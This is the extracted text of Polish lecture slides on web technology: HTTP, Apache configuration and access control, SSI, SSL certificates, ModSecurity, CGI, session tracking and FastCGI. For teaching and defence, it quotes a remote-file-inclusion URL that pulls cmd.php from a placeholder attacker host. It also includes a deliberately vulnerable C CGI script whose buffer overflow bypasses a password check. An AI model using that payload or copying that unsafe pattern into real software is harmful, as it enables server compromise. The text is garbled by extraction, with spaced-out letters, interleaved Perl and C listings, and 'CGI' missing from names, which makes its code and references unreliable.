Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak Wyższa Szkoła Zarządzania i Bankowości w Krakowie http://artemis.wszib.edu.pl/~polak/ Materiały dla studentów Informatyki WSZiB w Krakowie Dr inż. Stanisław Polak 1 Przedmiot: Internet i jego zastosowanie Plan prezentacji Poprawność serwisów WWW Protokół HTTP Fast Dr inż. Stanisław Polak 2 Przedmiot: Internet i jego zastosowanie Usługa Gopher Poprzednik usługi WWW Usługa Hyper-G Następca usługi WWW (a) Przykładowy dokument Hyper-G (b) Przykład wyszukiwania w Hyper-G (c) Trójwymiarowa struktura kolekcji dokumentów Hyper-G Rysunek: Przeglądarka Harmony Rysunek: Charakterystyczne, hierarchiczne menu gophera http://www.hyperwave.com/ strona komercyjnego następcy serwera Hyper-G http://quux.org:70/ strona gopher dostępna za pomocą usługi WWW Dr inż. Stanisław Polak 3 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 4 Przedmiot: Internet i jego zastosowanie
Poprawność serwisów WWW Poprawność serwisów WWW Ogólne zasady tworzenia poprawnych stron WWW Funkcjonalność stron Formatowanie informacja Najprostsze środki HTML + CSS HTML + CSS + JavaScript HTML + CSS + JavaScript + Java 1 <! DOCTYPE html> 2 <html lang="pl"> 3 <head> 4 <meta charset="utf -8"> 5 <title>witaj Świecie</ title> 6 <link rel=" stylesheet " href=" main. css "/> 7 </ head> 8 <body> 9 <main> 10 <h1>witaj Świecie</h1> 11 <span class=" name ">SP</ span> tutaj by ł. 12 </ main> 13 <footer>stanis ł aw Polak</ footer> 14 </ body> 15 </ html> HTML 1 main, footer { 2 display : block ; 3 background : gray ; 4 padding : 10 px ; 5 margin : 1px ; 6 } 7. name {font family : arial, verdana, sans serif ;} main.css Test Kruga Co to jest za witryna? identyfikator witryny, nazwa, logo, slogan Na jakiej jestem podstronie? nazwa podstrony Jakie są główne kategorie? nawigacja globalna Jakie mam opcje do wyboru na tym poziomie struktury? nawigacja lokalna Gdzie znajduję się w odniesieniu do całej struktury? Tu jesteś, ścieżka dostępu W jaki sposób mogę czegoś poszukać? Wyszukiwarka Dr inż. Stanisław Polak 5 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 6 Przedmiot: Internet i jego zastosowanie Poprawność serwisów WWW Poprawność serwisów WWW Poprawność stron WWW Częste błędy na stronach WWW Testowanie Przeglądarki Ograniczenia http://validator.w3.org/ Wygląd strony Informatyzacja strony <img alt=> Znaki Łączniki Struktura strony Dr inż. Stanisław Polak 7 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 8 Przedmiot: Internet i jego zastosowanie
Protokół HTTP Protokół HTTP Model usługi WWW Serwer WWW Protokół Przeglądarka WWW Port Adres IP Dr inż. Stanisław Polak 9 Przedmiot: Internet i jego zastosowanie Żądanie klienta Serwer WWW 80 Przeglądarka WWW 1 GET / dokument. html HTTP /1.1 2 Host : www. icsr. agh. edu. pl 3 Accept Language : pl ; q=1.0, en ; q=0.5 4 Accept : text / html ; q =1.0, text/ ; q =0.8, image / g i f ; q =0.6, image / j p e g ; q =0.6, / ; q =0.1 5 Accept Encoding : bzip2 ; q=1, gzip ; q =0.8, zip ; q =0.5 6 Accept Charset : utf 8;q =1.0, iso 8859 2;q=0.8 7 User Agent : Mozilla /... 8 Adres strony: http://www.icsr.agh.edu.pl/dokument.html Materiały dla studentów Informatyki WSZiB w Krakowie Dr inż. Stanisław Polak 10 Przedmiot: Internet i jego zastosowanie Protokół HTTP Protokół HTTP Odpowiedź serwera Komendy protokołu HTTP Serwer WWW 80 1 HTTP / 1. 1 200 OK 2 Date : Thu, 20 Dec 2001 1 2 : 0 4 : 3 0 GMT 3 Serwer : Apache / 2. 2. 8 4 Last Modified : Thu, 20 Dec 2001 0 0 : 0 4 : 3 0 GMT 5 Etag : " 12345-678 -900 ab" 6 Cache Control : max age =604800 7 Expires : Fri, 21 Dec 2001 0 0 : 0 0 : 0 0 GMT 8 Content type : text / html ; charset=utf 8 9 Content length :... 10 11 <html> 12... 13 </html> Przeglądarka WWW GET HEAD POST OPTIONS TRACE DELETE PUT CONNECT 1 GET / index. html HTTP / 1. 0 Żądanie 1 HTTP / 1. 1 200 OK 2 Date : Mon, 09 Aug 2002 1 7 : 0 2 : 0 8 GMT 3 Server : Apache / 2. 0. 3 3 ( UNIX ) 4 Content Length : 1776 5 Content Type : text / html ; charset=iso 8859 1 6 7 <! DOCTYPE HTML PUBLIC " -// IETF // DTD HTML 2.0// EN"> 8 <html> 9... 10 </ html> Odpowiedź Dr inż. Stanisław Polak 11 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 12 Przedmiot: Internet i jego zastosowanie
Udział w rynku (ang. Market share) Serwer WWW Wybór sprzętu Wyspecjalizowany sprzęt Pamięć operacyjna Interfejs sieciowy Dysk twardy Źródło: http://www.netcraft.com/ Dr inż. Stanisław Polak 13 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 14 Przedmiot: Internet i jego zastosowanie Moduły Wybór modułu MPM Repozytorium modułów dla Apache a Statyczne http://modules.apache.org/ Zawiera ponad 500 modułów httpd Rdzeń serwera MPM So SSL......... Dynamiczne Rdzeń serwera So httpd LoadModule cgi module modules/mod cgi.so LoadModule ssl module modules/mod ssl.so... Moduły dynamicznie ładowane (DSO) Moduły MPM SSL......... UNIX prefork worker event Windows mpm winnt OS/2 mpmt os2 Netware mpm netware BeOS beos Dr inż. Stanisław Polak 15 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 16 Przedmiot: Internet i jego zastosowanie
Ważniejsze katalogi i pliki serwera WWW Konfigurowanie serwera bin apachectl (start, stop, restart, graceful, graceful-stop) ab apxs htpasswd logs access log error log conf cgi-bin htdocs Pliki konfiguracyjne conf/httpd.conf conf/extra/httpd-*.conf Ważniejsze parametry 1 ServerRoot "/usr / local / apache2 " 2 DocumentRoot "/usr / local / apache2 / htdocs /" 3 UserDir public_html 4 UserDir disabled root 5 Listen 80 6 User apache 7 Group apache 8 DirectoryIndex index. html index. html. var index. shtml index. cgi index. php Dr inż. Stanisław Polak 17 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 18 Przedmiot: Internet i jego zastosowanie Sterowanie dostępem do zasobów WWW Moduły 1. Kontrola dostępu mod authz host 2. Uwierzytelnianie Typ uwierzytelniania mod auth basic mod auth digest Dostawca uwierzytelniana mod authn anon mod authn dbd mod authn dbm mod authn file mod authnz ldap... 3. Autoryzacja mod authnz ldap mod authz dbd mod authz dbm mod authz groupfile mod authz owner mod authz user Dr inż. Stanisław Polak 19 Przedmiot: Internet i jego zastosowanie Kontrola dostępu Przykłady 1 <Location /> 2 Require host luke. icsr. agh. edu. pl 3 </Location> 1 <Location /> 2 <RequireAll> 3 Require all granted 4 Require not ip 1 9 2. 1 6 8. 1. 1 5 </RequireAll> 6 </Location> 1 <Location / http11only/> 2 <If "%{ SERVER_PROTOCOL } == HTTP /1.0 "> 3 Require all denied 4 </If> 5 </Location> Materiały dla studentów Informatyki WSZiB w Krakowie Dr inż. Stanisław Polak 20 Przedmiot: Internet i jego zastosowanie
Uwierzytelnianie i autoryzacja użytkownika Przykład strona http://www.przyklad.pl/~polak/tajny/ na hasło Uwierzytelnianie łączone Przykład 1 <Directory / home/ / p u b l i c h t m l > 2... 3 AllowOverride AuthConfig 4... 5 </D i r e c t o r y > conf/extra/httpd-userdir.conf Zmiana lub ustawienie hasła: bin/htpasswd 1 AuthType Basic 2 AuthName " Strona na haslo " 3 AuthBasicProvider file 4 AuthUserFile /home / polak / public_html / tajny /. htpasswd 5 Require user polak 6 # R e q u i r e v a l i d u s e r polak/public html/tajny/.htaccess 1 <Location / registered users only/> 2 AuthType Basic 3 AuthName " Strona na has ło" 4 AuthBasicProvider file 5 AuthUserFile /usr / local / apache2 / passwd / passwords 6 <RequireAll> 7 Require user polak 8 Require ip 1 9 2. 1 6 8. 1. 1 1 9 2. 1 6 8. 1. 2 9 </RequireAll> 10 </Location> Dr inż. Stanisław Polak 21 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 22 Przedmiot: Internet i jego zastosowanie Uzgadnianie zawartości Server Side Includes (SSI) MultiViews Options +MultiViews Options All +MultiViews Mapa typów pliki.var 1 <! #polecenie atrybut=warto ś ć atrybut=warto ś ć... > Składnia dyrektywy SSI 1 URI : document. html. en 2 Content-Type : text / html ; qs =1; level=2 3 Content-Language : en 4... 5 Description : " Strona po angielsku " 6 7 URI : document. html. pl 8 Content-Type : text / html ; qs =0.1 9 Content-Language : pl 10... 11 Description : " Strona po polsku " 1... 2 Options +Includes 3 # O ptions +IncludesNOEXEC 4... 5 AddType text / html. shtml 6 AddOutputFilter INCLUDES. shtml 7 XBitHack on #Po wykonaniu " chmod +x dokument.html " dokumenty HTML stan ą si ę dokumentami SSI Plik conf/httpd.conf lub.htaccess Przykładowy plik z mapą typów Dr inż. Stanisław Polak 23 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 24 Przedmiot: Internet i jego zastosowanie
Przykładowy dokument SSI Przykładowe zmienne SSI 1 <html> 2 <head> 3 <title>data</ title> 4 </ head> 5 <body> 6 Dzisiaj jest <! #echo var=" DATE_LOCAL " > 7 </ body> 8 </ html> 1 <html> 2 <head> 3 <title>data</ title> 4 </ head> 5 <body> 6 Dzisiaj jest 30 10 01 7 </ body> 8 </ html> DOCUMENT NAME DATE LOCAL LAST MODIFIED Wejściowy dokument SSI Wyjściowy dokument HTML Dr inż. Stanisław Polak 25 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 26 Przedmiot: Internet i jego zastosowanie Polecenia SSI Sterowanie robotami 1 User agent : 2 Disallow : / config echo include exec fsize flastmod set printenv if elif else endif 1. Plik robots.txt User-Agent Disallow 2. HTML META Robots 3. Kontrola dostępu 1 <html> 2 <head> 3 <title>...</ title> 4 <META NAME=" ROBOTS " CONTENT="NOINDEX, NOFOLLOW "> 5 <! 6 <META NAME=" ROBOTS " CONTENT="NOINDEX, FOLLOW "> 7 <META NAME=" ROBOTS " CONTENT="INDEX, NOFOLLOW "> 8 <META NAME=" ROBOTS " CONTENT="NOINDEX, NOFOLLOW "> 9 > 10 </ head> 11... 1 <Location /not indexable/> 2 <If " tolower (%{ HTTP_USER_AGENT }) =~ / robot / %{ REMOTE_HOST } == badrobot. com "> 3 Require all denied 4 </If> 5 </Location> Dr inż. Stanisław Polak 27 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 28 Przedmiot: Internet i jego zastosowanie
Informacje dla robotów 1 <meta name=" Autor " content=" Stanis ław Polak "> 2 <meta name=" Description " content=" Strona domowa Stanis ł awa Polaka "> 3 <meta name=" Keywords " content="xml, Java, PHP, ontologia "> Dr inż. Stanisław Polak 29 Przedmiot: Internet i jego zastosowanie SSL a serwer Apache SSL protokół zaszyfrowanej komunikacji Szyfrowanie z kluczem publicznym Szyfrowanie przesyłanych informacji Uwierzytelnianie serwera Materiały dla studentów Informatyki WSZiB w Krakowie Dr inż. Stanisław Polak 30 Przedmiot: Internet i jego zastosowanie Podstawowa konfiguracja protokołu SSL Instalacja klucza prywatnego oraz tymczasowego certyfikatu./configure enable-ssl... 1 Listen 443 2 SSLEngine on 3 SSLCertificateKeyFile /usr / local / apache2 /conf / server. key 4 SSLCertificateFile /usr / local / apache2 /conf / server. crt 5... 6 <Directory /usr / local / apache2 / htdocs / bezpieczny/> 7 SSLRequireSSL 8 </Directory> conf/extra/httpd-ssl.conf 1 #utw órz zaszyfrowany w standardzie DES3 klucz prywatny 2 #openssl genrsa -des3 1024 > /usr/local/apache2/conf/server.key 3 #utw órz niezaszyfrowany klucz prywatny 4 openssl genrsa 1024 > /usr/local/apache2/conf/server.key 5 chmod 400 /usr/local/apache2/conf/server.key 6 #utw órz żądanie po ś wiadczonego certyfikatu 7 openssl req -new -key /usr/local/apache2/conf/server.key -out /tmp/server.csr 8... 9 Country Name (2 letter code ) [ AU ] : PL 10 State or Province Name ( full name ) [ Some State ] : malopolskie 11 Locality Name ( eg, city ) [ ] : Krakow 12 Organization Name (eg, company ) [ Internet Widgits Pty Ltd ] : Akademia Gorniczo-Hutnicza 13 Organizational Unit Name (eg, section ) [ ] : EAIiE, Katedra Informatyki 14 Common Name ( eg, YOUR name ) [ ] : www.icsr.agh.edu.pl 15 Email Address [ ] : webmaster@icsr.agh.edu.pl 16... 17 18 #utw órz tymczasowy certyfikat podpisuj ąc go przez samego siebie 19 openssl req -x509 -key /usr/local/apache2/conf/server.key -in /tmp/server.csr -out /usr/local/apache2/conf/server.crt -days 365 20 rm / tmp / server. csr 1 openssl s_client connect localhost : 4 4 3 state 2 GET / HTTP / 1. 0 3 <klawisz Enter> 4 <klawisz Enter> Testowanie połączenia Dr inż. Stanisław Polak 31 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 32 Przedmiot: Internet i jego zastosowanie
Bezpieczeństwo serwera WWW Uprawnienia użytkownika Prawa dostępu do plików Dostęp do katalogów nadrzędnych Skrypty Dzienniki Identyfikacja serwera Firewall aplikacyjny ModSecurity moduł mod security2 Przykład metody włamania: http://[target]/index.php?mosconfig_ absolute_path=http: //[attacker]/cmd.php Strona główna http://www.modsecurity.org/ Reguły http://www.modsecurity.org/projects/ commercial/rules/ komercyjne firmy Trustwave SpiderLabs http://www.atomicorp.com/channels/ asl-2.0/rules/ komercyjne firmy Atomicorp https://github.com/spiderlabs/ owasp-modsecurity-crs darmowe http://updates.atomicorp.com/channels/ rules/delayed/ darmowe Graficzny edytor reguł http://remo.netnea.com/ 1 chown R root / usr / local / apache2 / 2 chmod R u+w / usr / local / apache2 / 3 chmod go rx / usr / local / apache2 / logs 4 chmod go rx / usr / local / apache2 / conf 1 <Directory /> 2 Options FollowSymLinks 3 AllowOverride None 4 Require all denied 5 </Directory> conf/httpd.conf 1 <Directory / home/ / p u b l i c h t m l > 2 O p t i o n s Exec 3... 4 </D i r e c t o r y > 1 ServerTokens Prod 2 ServerSignature Off conf/extra/httpd-default.conf Dr inż. Stanisław Polak 33 Przedmiot: Internet i jego zastosowanie Firewall aplikacyjny ModSecurity Fazy przetwarzania Dr inż. Stanisław Polak 34 Przedmiot: Internet i jego zastosowanie Przykładowe reguły Ogólny schemat działania 1 # R e f u s e to a c c e p t POST r e q u e s t s t h a t do 2 # not s p e c i f y request body length. Do note that 3 # t h i s r u l e s h o u l d be p r e c e e d e d by a r u l e t h a t v e r i f i e s 4 # only v a l i d request methods ( e. g. GET, HEAD and POST) are used. 5 6 #Sk ł adnia : SecDefaultAction akcja1, akcja2, akcja3 7 SecDefaultAction " phase :2, deny " 8 9 #Sk ł adnia : SecRule ZMIENNE OPERATOR [ AKCJE ] 10 SecRule REQUEST_METHOD ˆ POST$ chain, t : none 11 SecRule REQUEST_HEADERS : Content Length ˆ$ t : none Serwer WWW 80 / 443 Przeglądarka WWW Proces GET / POST formularz.html Dr inż. Stanisław Polak 35 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 36 Przedmiot: Internet i jego zastosowanie
Co to jest Strategie tworzenia stron dynamicznych (ang. Common Gateway Interface) Wspólny interfejs bramy Interfejs do serwera WWW Program serwer WWW Program generujący dokument HTML Perl Ruby C C++... 1... 2 cout << "<h1>użytkownik " << login << "</h1>" << endl ; 3 if ( prawid ł owy ( login ) && prawid ł owe ( has ło ) ) 4 cout << " Witamy "<< endl ; 5 else 6 cout << "Nieprawidłowy login lub hasło" << endl ; Dokument HTML zawierający program PHP JSP (Java) ASP (VBScript, C#,... )... 1 <h1>u ż ytkownik <?php echo $login?></h1> 2 <?php 3... 4 if ( prawid ł owy ( $login ) && prawid ł owe ( $has ło ) ) {?> 5 Witamy 6 <?php } else {?> 7 Nieprawid ł owy login lub has ło 8 <?php }?> PHP Dr inż. Stanisław Polak 37 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 38 Przedmiot: Internet i jego zastosowanie Wysyłanie danych z formularza Zatwierdzanie danych kodowanie wysyłanie do serwera WWW 1 <form method ="... " enctype ="... " a c t i o n="... "> 2... 3 </ form> 4 <! <form action=" mailto : adres e-mail? subject = temat " method="post " e n c t y p e=" text / plain ">...</ form> > GET POST application/x-www-formurlencoded multipart/form-data Dr inż. Stanisław Polak 39 Przedmiot: Internet i jego zastosowanie Kodowanie application/x-www-form-urlencoded Przykład 1 <form action="http :// www. serwer.com / skrypt.cgi "> 2 Login : <input name=" login " type=" TEXT "><br> 3 Has ł o : <input name=" haslo " type=" PASSWORD "> 4 </ form> Login: Hasło: Jan Kowalski (Nowak) 1 login=jan&haslo=kowalski+%28nowak%29 Dokument HTML Zakodowane dane Materiały dla studentów Informatyki WSZiB w Krakowie Dr inż. Stanisław Polak 40 Przedmiot: Internet i jego zastosowanie
Kodowanie application/x-www-form-urlencoded Wysyłanie danych Kodowanie multipart/form-data 1 <form action="http :// www. serwer.com / skrypt.cgi " method="... "> 2... 3 </ form> 1 <form action="... " method=" POST " e n c t y p e=" multipart /form - data "> 2 <input name=" login " type=" TEXT "> 3 <input name=" haslo " type=" PASSWORD "> 4 <input name=" plik " type=" FILE " a c c e p t=" image /jpeg, image / gif "> 5 <! <input type=" hidden " name=" MAX_FILE_SIZE " value=" 20000 "> > 6 </ form> Jan Kowalski (Nowak) obraz.jpg 1 GET / skrypt. cgi? login=jan&haslo=kowalski+%28nowak%29 HTTP /1.0 method= GET 1 POST / skrypt. cgi HTTP /1.0 2 Content Length : 35 3 Content Type : application /x www form urlencoded 4 5 login=jan&haslo=kowalski+%28nowak%29 method= POST 1 POST / skrypt. cgi HTTP / 1. 0 2 Content Length : 775 3 Content Type : multipart /form data ; boundary= 8152765018186645991017906692 4 5 8152765018186645991017906692 6 Content Disposition : form data ; name=" login " 7 8 Jan 9 8152765018186645991017906692 10 Content Disposition : form data ; name=" haslo " 11 12 Kowalski ( Nowak ) 13 8152765018186645991017906692 14 Content Disposition : form data ; name="plik " ; filename="obraz.jpg " 15 Content Type : image / jpeg 16 Content Transfer Encoding : binary 17 18 Zawarto ś ć pliku obraz. jpg 19 8152765018186645991017906692 Dr inż. Stanisław Polak 41 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 42 Przedmiot: Internet i jego zastosowanie Skrypt otrzymywane dane Przykładowe zmienne środowiskowe Informacje (poprzez zmienne środowiskowe) O przeglądarce O serwerze O programie Zakodowane dane z formularzy GET zmienna środowiskowa POST stdin REQUEST METHOD QUERY STRING CONTENT LENGTH CONTENT TYPE Dr inż. Stanisław Polak 43 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 44 Przedmiot: Internet i jego zastosowanie
GET kontra POST Wysyłka danych ze skryptu Metoda GET QUERY STRING Limit Metoda POST stdin CONTENT LENGTH Brak limitu 1. Wypisanie nagłówka Content-type Location Status 2. Wypisanie danych na stdout Dr inż. Stanisław Polak 45 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 46 Przedmiot: Internet i jego zastosowanie Wysyłka danych ze skryptu Przykład Odczytywanie argumentów przekazanych w linii adresu 1 # include <i o s t r e a m> 2 using namespace std ; 3 main ( ) { 4 cout << "Content -type :text /html " << endl << endl ; 5 cout << "<html >\n<head >\n" ; 6 cout << "<title >Witaj </ title >\n" ; 7 cout << " </head >\n<body >\n" ; 8 cout << "<h1>witaj </h1 >\n" ; 9 cout << " </body >\n </ html >\n" ; 10 } Skrypt w C++ Content type : text / html <html> <head> <title>witaj</ title> </ head> <body> <h1>witaj</h1> </ body> </ html> Dane wyjściowe 1 # include <i o s t r e a m> 2 # include <s t d l i b. h> 3 using namespace std ; 4 5 int main ( int argc, char argv [ ] ) { 6 cout << "Content -type :text / plain " << endl << endl ; 7 cout << "argc = " << argc << endl ; 8 for ( int i=0 ; i < argc ; i++) 9 cout << "argv [" << i << "] = " << argv [ i ] << endl ; 10 cout << " QUERY_STRING = " << getenv ( " QUERY_STRING " ) << " " << endl ; 11 } argc = 1 argv [ 0 ] = /usr / local / apache2 / htdocs / skrypt. cgi QUERY_STRING = a=1&b=2&c=3 http://adres.pl/skrypt.cgi?a=1&b=2&c=3 Skrypt w C++ argc = 4 argv [ 0 ] = /usr / local / apache2 / htdocs / skrypt. cgi argv [ 1 ] = a argv [ 2 ] = b argv [ 3 ] = c\&d QUERY_STRING = a+b+c&d http://adres.pl/skrypt.cgi?a+b+c&d Dr inż. Stanisław Polak 47 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 48 Przedmiot: Internet i jego zastosowanie
Przetwarzanie danych zawartych w formularzu Ogólny algorytm GET Odczytaj dane zawarte w $QUERY STRING Rozkoduj dane zakodowane metodą application/x-wwwform-urlencoded Start $REQUEST METHOD POST Odczytaj ze standardowego wejścia $CONTENT LENGTH bajtów danych Rozkoduj dane zakodowane metodą $CONTENT TYPE Dr inż. Stanisław Polak 49 Przedmiot: Internet i jego zastosowanie Biblioteki do obsługi Język programowania Nazwa biblioteki URL Perl.pm http://perldoc.perl.org/.html Python cgi.py Standardowa biblioteka Python- -a Ruby cgi.rb Standardowa biblioteka Ruby C C http://www.boutell.com/ cgic/ cgi-c http://cgi-c.sourceforge. net/ C++ CC http://www.gnu.org/ software/cgicc/ Rude http://rudeserver.com/ cgiparser/ Materiały dla studentów Informatyki WSZiB w Krakowie Dr inż. Stanisław Polak 50 Przedmiot: Internet i jego zastosowanie Śledzenie skryptu Bezpieczeństwo skryptów stderr dziennik błędów logs/error logs Z linii komend 1 export REQUEST_METHOD= GET 2 export QUERY_STRING= pole1=warto ś ć1&pole2=warto ś ć 2 &... 3 /usr / local / apache2 /cgi bin / skrypt. cgi Skrypt powinien robić tylko, do czego został przeznaczony Przeglądarka nie powinna dostawać więcej informacji niż potrzebuje Nie wolno ufać użytkownikowi w kwestii poprawności podawanych informacji 1 # include <s t d i o. h> 2 # include <s t r i n g. h> 3 # include <s t d l i b. h> 4 char haslo[3]=; 5 int zalogowany=0; 6 / 7 Program, kt ó ry pokazuje s k u t k i przepe ł n i e n i a b u f o r a 8 Można s i ę zalogować nie znaj ąc has ł a 9 / 10 main ( ) 11 { 12 printf ( "Content -type :text /html \n\n" ) ; 13 strcpy(haslo,getenv("query STRING")); 14 printf ( "tablica haslo przechowuje łańcuch <b>%s</b><br>", haslo ) ; 15 printf ( "Wartością zmiennej zalogowany jest <b>%d</b><br>", zalogowany ) ; 16 if (! strcmp ( haslo, "aa" ) ) 17 zalogowany =1; 18 if ( zalogowany!= 0) 19 printf ( "<span style= background - color : #00FF00 >Zostaleś zalogowany </span>" ) ; 20 else 21 printf ( "<span style= background - color : # FF0000 >Błędne hasło</ span >" ) ; 22 } Niebezpieczny skrypt w C Dr inż. Stanisław Polak 51 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 52 Przedmiot: Internet i jego zastosowanie
Mechanizmy śledzenia sesji Mechanizmy śledzenia sesji Przepisywanie adresów URL 1. Przepisywanie adresów URL 2. Ukryte pola formularza 3. Ciasteczka 1 # include <i o s t r e a m> 2 using namespace std ; 3 4 int main ( ){ 5 cout << " Content - type : text / html ; charset=utf -8" << endl << endl ; 6 cout << "<a href= skrypt2.cgi?idsesji=123 >Wyślij dane </a>" ; 7 } skrypt1.cgi Content type : text / html ; charset=utf 8 1 # include <i o s t r e a m> 2 # include <s t d l i b. h> 3 using namespace std ; 4 5 int main ( int argc, char argv [ ] ) { 6 cout << " Content - type : text / plain ; charset=utf -8 " << endl << endl ; 7 cout << "Otrzymałem: " << getenv ( " QUERY STRING" ) ; 8 } skrypt2.cgi <a href= s k r y p t 2. c g i? i d S e s j i =123 >Wy ś lij dane</a > stdout Dr inż. Stanisław Polak 53 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 54 Przedmiot: Internet i jego zastosowanie Mechanizmy śledzenia sesji Ukryte pola formularza Mechanizmy śledzenia sesji Ciasteczka 1 # include <i o s t r e a m> 2 using namespace std ; 3 4 int main ( ){ 5 cout << " Content - type : text / html ; charset=utf -8" << endl << endl ; 6 cout << "<form action = skrypt2.cgi >" << endl ; 7 cout << "<input type= hidden name= idsesji value= 123 >" << endl ; 8 cout << "<input type= submit value= Wyślij dane >" << endl ; 9 cout << "</form >" << endl ; 10 } 1 # include <i o s t r e a m> 2 # include <s t d l i b. h> 3 using namespace std ; 4 5 int main ( int argc, char argv [ ] ) { 6 cout << " Content - type : text / plain ; charset=utf -8 " << endl << endl ; 7 cout << "Otrzymałem: " << getenv ( " QUERY STRING" ) ; 8 } 1 # include <i o s t r e a m> 2 using namespace std ; 3 4 int main ( ){ 5 cout << " Content - type : text / html ; charset=utf -8" << endl ; 6 cout << "Set-Cookie: idsesji=123" << endl << endl ; 7 cout << "<a href= skrypt2. cgi >Wyślij dane </a> " ; 8 } 1 # include <i o s t r e a m> 2 # include <s t d l i b. h> 3 using namespace std ; 4 5 int main ( int argc, char argv [ ] ) { 6 cout << " Content - type : text / plain ; charset=utf -8 " << endl << endl ; 7 cout << "Otrzymałem: " << getenv ( " HTTP COOKIE" ) ; 8 } Content type : text / html ; charset=utf 8 <form action = skrypt2. cgi > <input type = hidden name= idsesji value = 123 > <input type = submit value = Wyś l i j dane > </ form> Content type : text / html ; charset=utf 8 Set Cookie : idsesji=123 <a href= skrypt2. cgi >Wy ś lij dane</a>" Dr inż. Stanisław Polak 55 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 56 Przedmiot: Internet i jego zastosowanie
Fast Zalety i wady Zalety Prostota Niezależność język architektura Izolacja procesów Możliwość przekazywania parametrów do programów Nie trzeba modyfikować przeglądarek Wady Mała wydajność Generowanie całości dokumentu WWW Bezstanowość Brak integracji z serwerem Fast Ogólny schemat działania Fast Serwer WWW Proces... Proces Serwer WWW Proces 80 / 443 GET / POST dane Przeglądarka WWW 80 / 443 Przeglądarka WWW GET / POST dane Dr inż. Stanisław Polak 57 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 58 Przedmiot: Internet i jego zastosowanie Fast Fast Rodzaje ról aplikacji Fast Respondenty (responders) Filtry (filters) Autoryzatory (authorizers) Dr inż. Stanisław Polak 59 Przedmiot: Internet i jego zastosowanie Biblioteki do obsługi Fast Język programowania Nazwa biblioteki URL Perl.pm http://perldoc.perl.org/ /Fast.html F http://search.cpan.org/ ~skimo/f-0.67/ Python python-fastcgi https://pypi.python.org/ pypi/python-fastcgi Ruby Ruby-fcgi https://rubyforge.org/ projects/fcgi/ C Fastcgi http://www.fastcgi.com/ dist/fcgi.tar.gz C++ Fastcgi++ http://www.nongnu.org/ fastcgipp/ Materiały dla studentów Informatyki WSZiB w Krakowie Dr inż. Stanisław Polak 60 Przedmiot: Internet i jego zastosowanie
Fast Fast Obsługa protokołu Fast przy użyciu serwera Apache Moduł mod fastcgi Stworzony przez Open Market, ale obecnie nie jest już rozwijany Źródła: http://www.fastcgi.com/ dist/mod_fastcgi-current.tar.gz Kategorie aplikacji Dynamiczne Statyczne Zewnętrzne Zarządzanie aplikacjami Dynamiczne oraz statyczne menedżer procesów fcgi-pm Zewnętrzne program cgi-fcgi Moduł mod proxy fcgi Moduł mod fcgid Rozwijany przez Apache Strona modułu: http: //httpd.apache.org/mod_fcgid/ 1 <IfModule mod_fcgid. c> 2 #Jeż e l i będziemy korzysta ć z bibliotek dla C lub C ++ 3 FcgidInitialEnv LD_LIBRARY_PATH / ś cie ż ka/do/ pliku /z / bibliotek ą/ Fast 4 Alias /fcgi bin / / ś cie ż ka/do/ katalogu /fcgi bin / 5 6 <Directory / ś cie ż ka/do/ katalogu /fcgi bin> 7 AllowOverride None 8 Options None 9 Require all granted 10 SetHandler fcgid script 11 Options +Exec 12 </Directory> 13 14 </IfModule> 15 16 conf/extra/httpd-fcgid.conf Standardowy moduł Apache a, począwszy od wersji 2.4 Umożliwia komunikację z zewnętrznymi aplikacjami Fast Uruchamianie aplikacji Fast za pomocą programu fcgistarter Przykładowe skrypty Fast 1 # include <f c g i s t d i o. h> / b i b l i o t e k a f c g i ; powinna by ć do ł ą czona j a k o 1 #! / u s r / b i n / p e r l pierwsza / 2 use : : Fast qw ( : standard ) ; 2 # include <s t d i o. h> 3 #I n i c j a l i z a c j a 3 # include <s t d l i b. h> 4 my $count = 0 ; 4 int count ; 5 my $lives = 1 0 0 0 ; # ż y j e p r z e z 1000 ż ą da 5 void initialize ( void ) { ń, potem koń czy d z i a ł a n i e 6 count =0; 6 #Pę t l a o d p o w i e d z i. 7 } 7 while ( my $q = : : Fast >new ) { 8 void main ( void ) { 8 print header ; 9 / I n i c j a l i z a c j a / 9 print start_html ( " Fast Hello! (Perl 10 initialize ( ) ; )" ), 11 / Pę t l a odpowiedzi. / 10 " Request number ", ++$count, 12 while ( F_Accept ( ) >= 0) { 11 " running on host ", 13 printf ( " Content - type : text / html \r\n" 12 i ( $ENV{SERVER_NAME }) ; "\r\n" 13 print end_html ; 14 "<title >Fast Hello! (C, 14 fcgi_stdio library ) </title >" 15 last unless $lives ; #l i c z n i k c z a s u ż 15 "<h1 > Fast Hello! (C, fcgi_stdio y c i a library ) </h1 >" 16 last if M $ENV{SCRIPT_FILENAME} < 0 ; 16 " Request number %d running on host < # s p r a w d z e n i e c z a s u m o d y f i k a c j i i >%s </i >\n", p l i k u 17 ++count, getenv ( " SERVER_NAME " ) ) ; 17 } 18 } 19 } Skrypt Fast w Perl-u Skrypt Fast w C Dr inż. Stanisław Polak 61 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 62 Przedmiot: Internet i jego zastosowanie Fast Fast Wydajność i Fast Plik statyczny Fast 21ms + 0.19ms na KB 22ms + 0.28ms na KB 59ms + 0.37ms na KB Założenia Wyniki Czas inicjacji połączenia z BD = 50ms Ilość 